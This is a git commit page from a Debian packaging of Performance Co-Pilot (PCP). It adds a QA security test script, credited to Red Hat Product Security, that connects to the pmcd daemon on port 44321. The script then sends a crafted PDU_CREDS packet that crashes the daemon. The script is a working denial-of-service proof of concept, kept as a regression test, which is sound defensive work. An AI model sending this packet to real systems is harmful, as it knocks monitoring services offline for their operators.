summaryrefslogtreecommitdiff
path: root/qa/secure/crash-cred
diff options
context:
space:
mode:
authorIgor Pashev <pashev.igor@gmail.com>2014-10-26 12:33:50 +0400
committerIgor Pashev <pashev.igor@gmail.com>2014-10-26 12:33:50 +0400
commit47e6e7c84f008a53061e661f31ae96629bc694ef (patch)
tree648a07f3b5b9d67ce19b0fd72e8caa1175c98f1a /qa/secure/crash-cred
downloadpcp-debian.tar.gz
Debian 3.9.10debian/3.9.10debian
Diffstat (limited to 'qa/secure/crash-cred')
-rwxr-xr-xqa/secure/crash-cred15
1 files changed, 15 insertions, 0 deletions
diff --git a/qa/secure/crash-cred b/qa/secure/crash-cred
new file mode 100755
index 0000000..2cd73a5
--- /dev/null
+++ b/qa/secure/crash-cred
@@ -0,0 +1,15 @@
+#
+# usage: python crash-cred HOST
+#
+# Connects to pmcd on HOST and sends a crafted PDU_CREDS packet,
+# causing the daemon to crash.
+#
+# Florian Weimer / Red Hat Product Security Team
+#
+import socket
+import sys
+_, host = sys.argv
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((host, 44321))
+sock.send(str('\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x01\x00\x00\x01\x01\x02\x00\x00'))
+sock.close()